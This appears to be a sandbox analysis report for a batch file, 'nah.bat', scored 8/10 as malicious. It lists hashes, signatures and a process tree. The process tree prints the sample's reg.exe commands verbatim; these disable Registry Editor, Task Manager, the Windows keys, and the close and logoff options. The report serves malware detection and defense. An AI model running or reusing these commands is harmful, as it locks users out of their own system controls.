Analysis
- max time kernel
58s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
17/05/2026, 04:31
Static task
static1
Behavioral task
behavioral1
Sample
nah.bat
Resource
win10v2004-20260513-en
2 signatures
60 seconds
General
- Target nah.bat
- Size 1KB
- Sample260517-e5nhlscs6y
- SHA256 541f58f781b6b3bba4a9a46ea5cb64bf2d84329676f104a8bda38476356ebb44
- MD5 2962cd5d5ff2b9a7ffdd27e8254455ca
- SHA1 06107f6d0a0dd7597716a1c30b6829312aea9538
- SHA512 22310c417f3f42d309fa0c1986390142f1e8f8a1388c6ccf254bf094ad44898d65f1c66832262be45ae89f40d8c619e4f97308a34e8b8ebbef9fa01979daec4b
- TLSH T16241ED9238145E16D191B6D1A4AF1490FFB3738B9C017FC8A9DA81547867784823EECF
- MD5 SHA1 SHA512 TLSH
Score
8/10
Malware Config
Signatures
- Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" reg.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3516 wrote to memory of 2248 3516 cmd.exe 85 PID 3516 wrote to memory of 1112 3516 cmd.exe 86 PID 3516 wrote to memory of 5032 3516 cmd.exe 87 PID 3516 wrote to memory of 3772 3516 cmd.exe 89 PID 3516 wrote to memory of 4728 3516 cmd.exe 90 PID 3516 wrote to memory of 2564 3516 cmd.exe 91
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\nah.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3516 -
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f2⤵
- Disables RegEdit via registry modification
PID:2248
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f2⤵PID:1112
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵PID:5032
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f2⤵PID:3772
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f2⤵PID:4728
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f2⤵PID:2564
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